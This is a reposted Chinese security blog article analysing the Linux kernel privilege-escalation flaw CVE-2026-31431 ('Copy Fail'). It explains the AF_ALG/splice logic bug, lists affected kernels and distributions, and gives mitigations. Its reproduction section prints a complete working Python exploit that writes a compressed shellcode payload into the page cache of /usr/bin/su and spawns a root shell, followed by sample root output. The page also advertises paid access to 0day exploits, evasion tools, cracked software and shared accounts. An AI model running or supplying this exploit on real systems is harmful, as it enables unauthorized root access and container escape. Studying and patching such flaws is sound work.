文章总结: 该文档深度分析了Linux内核本地提权漏洞CVE-2026-31431(CopyFail),该漏洞潜伏9年,源于2017年AFALG加密API与splice()系统调用的逻辑缺陷,允许通过可控seqnolo实现页缓存越界写,实现100%确定性提权与容器逃逸。文章详细展示了漏洞原理、影响范围(Linux4.14-6.19.11)、复现步骤(732字节Python脚本)及修复方案(卸载algif_aead模块或升级内核)。 综合评分: 87 文章分类: 漏洞分析,应急响应,漏洞预警,红队,Linux安全
Linux 内核史诗级本地提权漏洞 全网深度复现、原理完整分析( CVE-2026-31431)
原创
漏洞复现Tony 漏洞复现Tony
渗透安全HackTwo
2026年5月3日 10:45 广东
在小说阅读器读本章
去阅读
0x01 事件速览:一颗潜伏9年的”定时炸弹”
2026年4月29日,韩国安全研究团队 Theori 公开披露了一个堪称”史诗级”的 Linux 内核本地提权漏洞——CVE-2026-31431,代号 “Copy Fail”。该漏洞由研究员 Taeyang Lee 借助 AI 辅助代码审计工具 Xint Code 发现,并于3月23日报告给 Linux 内核安全团队。
这颗”炸弹”的可怕之处在于:
- 潜伏时间长达9年:漏洞源于2017年引入的一个”原地优化”(commit
72548b093ee3),此后所有基于该版本构建的内核均受影响; - 100%确定性利用:无需竞争条件、无需硬编码内核偏移、跨发行版通用;
- 攻击门槛极低:仅需一个本地普通用户账号 + 732字节的 Python 脚本,即可从
uid=1000秒变uid=0; - 容器逃逸利器:在共享内核的云环境、K8s集群、CI/CD流水线中,一个受控容器即可突破隔离,直取宿主机 root。
美国网络安全与基础设施安全局(CISA)已在5月1日将其纳入 已知被利用漏洞目录(KEV),各大发行版补丁正在紧急推送中。
免责声明
请自行搭建环境进行漏洞测试,该公众号或作者星球分享的工具、项目、漏洞仅供安全研究与学习之用请勿用于非法行为,如用于其他用途,由使用者承担全部法律及连带责任,与作者和本公众号无关。
TIPS: 更多POC末尾领取资料及加入星球福利
0x02漏洞原理:当加密API遇上页缓存
Copy Fail 并非传统意义上的内存破坏漏洞(如堆溢出、UAF),而是一个逻辑缺陷。它恰好位于三个内核子系统的交汇点:
| 子系统 | 角色 |
| — | — |
| AF_ALG | Linux 用户态加密 API 套接字接口,允许用户程序调用内核加密算法 |
| splice() | 零拷贝系统调用,可在文件描述符和管道之间直接搬运数据,绕过用户态缓冲区 |
| authencesn | AEAD(认证加密)算法模板,组合了 hmac(sha256) 和 cbc(aes) |
2017年,内核开发者为提升 AEAD 操作性能,引入了一项原地优化:当源数据与目标数据位于同一内存区域时,避免不必要的内存拷贝。这本是一个性能优化,却埋下了一颗逻辑炸弹。
在 algif_aead 模块处理 AEAD 解密时,内核会构建两个散列表(Scatter-Gather List):
- TX SGL(发送散列表):存放待解密的密文;
- DST SGL(目标散列表):存放解密后的明文。
正常情况下,DST SGL 应该指向一块独立的内核缓冲区。但2017年的优化允许:当检测到”原地操作”条件时,直接将页缓存(Page Cache)页面链接到 DST SGL 的可写链表中。
攻击数据流:4字节精准注入
sendmsg(AAD) splice(目标文件) │ │ ▼ ▼ ┌──────────┐ sg_chain ┌──────────────────┐ │ RX缓冲区 │──────────────▶│ 页缓存页面 │ │ 8字节 │ │ (如 /usr/bin/su)│ └──────────┘ └──────────────────┘ ▲ │ authencesn 在此写入 seqno_lo 偏移 = assoclen + cryptlen ════ 漏洞触发点 ════
具体步骤如下:
- 创建加密套接字:调用
socket(AF_ALG, ...)创建 AEAD 套接字,绑定authencesn(hmac(sha256),cbc(aes))算法; - 注入页缓存:通过
splice()将目标文件(如/usr/bin/su)的页缓存页面零拷贝到套接字的发送端; - 构造AAD:通过
sendmsg()+MSG_MORE发送关联认证数据(AAD),其中包含攻击者完全可控的 4字节seqno_lo; - 触发越界写:内核在处理 AEAD 解密时,将
seqno_lo写入 DST SGL 的assoclen + cryptlen偏移处。由于 DST SGL 已链接到页缓存页面,这4字节直接落入了只读文件的页缓存中; - HMAC校验失败:由于数据被篡改,HMAC 校验必然失败,内核返回
EBADMSG错误。但此时页缓存已被污染,且磁盘上的文件原封不动
影响范围:几乎全军覆没
受影响的内核版本
| 版本范围 | 状态 | | — | — | | Linux 4.14 ~ 6.18.21 | ❌ vulnerable | | Linux 6.19.0 ~ 6.19.11 | ❌ vulnerable | | Linux 6.18.22+ / 6.19.12+ / 7.0+ | ✅ patched |
受影响的发行版
包括但不限于:
- Ubuntu:16.04/18.04/20.04/22.04/24.04 LTS 等
- Red Hat:RHEL 8/9/10,CentOS Stream,Fedora
- Debian:Debian 9/10/11/12
- SUSE:SLES 15, openSUSE Leap/Tumbleweed
- Arch Linux
- Amazon Linux 2/2023
- Alpine Linux(容器基础镜像!)
0x03 漏洞复现
执行命令python3 copy_fail_exp.py
#!/usr/bin/env python3import os as g,zlib,socket as sdef d(x):return bytes.fromhex(x)def c(f,t,c): a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) try:u.recv(8+t) except:0f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))while i<len(e):c(f,i,e[i:i+4]);i+=4g.system("su")
复现效果
[*] CVE-2026-31431 'Copy Fail' Exploit[*] Universal Linux kernel privilege escalation[*] Target binary: /usr/bin/su[*] Testing for vulnerability...[+] System appears vulnerable![+] Opened /usr/bin/su (fd=3)[+] File size: 56944 bytes[+] Shellcode size: 160 bytes[+] Patching file in page cache... Written 160/160 bytes...[+] Page cache patching complete!# whoamiroot# iduid=0(root) gid=0(root) groups=0(root)
0x04 修复建议
方案A:卸载 algif_aead 模块(推荐)
⚠️ RHEL 9 用户注意:
algif_aead在 RHEL 9 中为内置模块(built-in),无法通过rmmod卸载,必须等待内核补丁或采用方案B。
方案B:限制 AF_ALG 套接字
通过 seccomp、SELinux、AppArmor 或容器安全策略,禁止不可信工作负载访问 AF_ALG 接口:
方案C:监控异常 splice + AF_ALG 组合
长期修复:升级内核
| 目标版本 | 修复状态 | | — | — | | Linux 6.18.22+ | ✅ 已修复 | | Linux 6.19.12+ | ✅ 已修复 | | Linux 7.0+ | ✅ 已修复 |
各大发行版补丁状态(截至2026年5月2日):
- Ubuntu:已发布 USN 公告,紧急更新推送中
- Red Hat:RHEL 8/9/10 补丁正在测试,预计48小时内发布
- Debian:DSA 公告已发布
- SUSE:维护更新已可用
- Arch:linux 包已更新至修复版本
#
内部星球VIP介绍V1.5(更多未公开挖洞技术欢迎加入星球)
如果你想学习更多另类渗透SRC挖洞技术/攻防/免杀/应急溯源/赏金赚取/工作内推,欢迎加入我们内部星球可获得内部工具字典和享受内部资源/内部群🔥
🚀1.每周更新1day/0day漏洞刷分上分,目前已更新至5394+;
🧰2.包含网上的各种付费工具/各种Burp漏洞检测插件/fuzz字典等等;
🧩3.Fofa/Hunter/Ctfshow/360Quake/Shadon/零零信安/Zoomeye各种账号高级VIP会员共享等等;
🎥4.最新SRC挖洞文库/红队/代审/免杀/逆向视频资源等等;
🧪5.内部自动化漏扫赚赏金捡洞工具,免杀CS/Webshell工具等等;
💡6.漏洞报告文库、共享SRC漏洞报告学习挖洞技巧;
🎯6.最新0Day1Day漏洞POC/EXP分享地址(同步更新);
https://t.zsxq.com/8IDY4(全网最新最完整的漏洞库)
🔥7.详情直接点击下方链接进入了解,后台回复” 星球 “获取优惠先到先得!后续资源会更丰富在加入还是低价!(即将涨价)以上仅介绍部分内容还没完!点击下方地址全面了解👇🏻
👉点击了解加入–>>2026内部VIP星球福利介绍V1.5版本-1day/0day漏洞库及内部资源更新
结尾
免责声明
获取方法
回复“app” 获取 app渗透和app抓包教程
回复“渗透字典” 获取 针对一些字典重新划分处理,收集了几个密码管理字典生成器用来扩展更多字典的仓库。
回复“书籍” 获取 网络安全相关经典书籍电子版pdf
压缩包解压密码:HackTwo
免责声明
文章中的案例或工具仅面向合法授权的企业安全建设行为,如您需要测试内容的可用性,请自行搭建靶机环境,勿用于非法行为。如用于其他用途,由使用者承担全部法律及连带责任,与作者和本公众号无关。本项目所有收录的poc均为漏洞的理论判断,不存在漏洞利用过程,不会对目标发起真实攻击和漏洞利用。文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用。如您在使用本工具或阅读文章的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。本工具或文章或来源于网络,若有侵权请联系作者删除,请在24小时内删除,请勿用于商业行为,自行查验是否具有后门,切勿相信软件内的广告!
往期推荐
内部VIP知识星球福利介绍V1.5版本
最新BurpSuite2026.4.1专业版中英文版下载
最新Nessus2026下载Windows/Linux
最新xray1.9.11高级版下载Windows/Linux
最新HCL AppScan Standard 10.9.128273破解版下载
渗透安全HackTwo
微信号:关注公众号获取
后台回复星球加入:知识星球
扫码关注 了解更多
喜欢的朋友可以点赞转发支持一下
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:渗透安全HackTwo 漏洞复现Tony 漏洞复现Tony《Linux 内核史诗级本地提权漏洞 全网深度复现、原理完整分析( CVE-2026-31431)》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论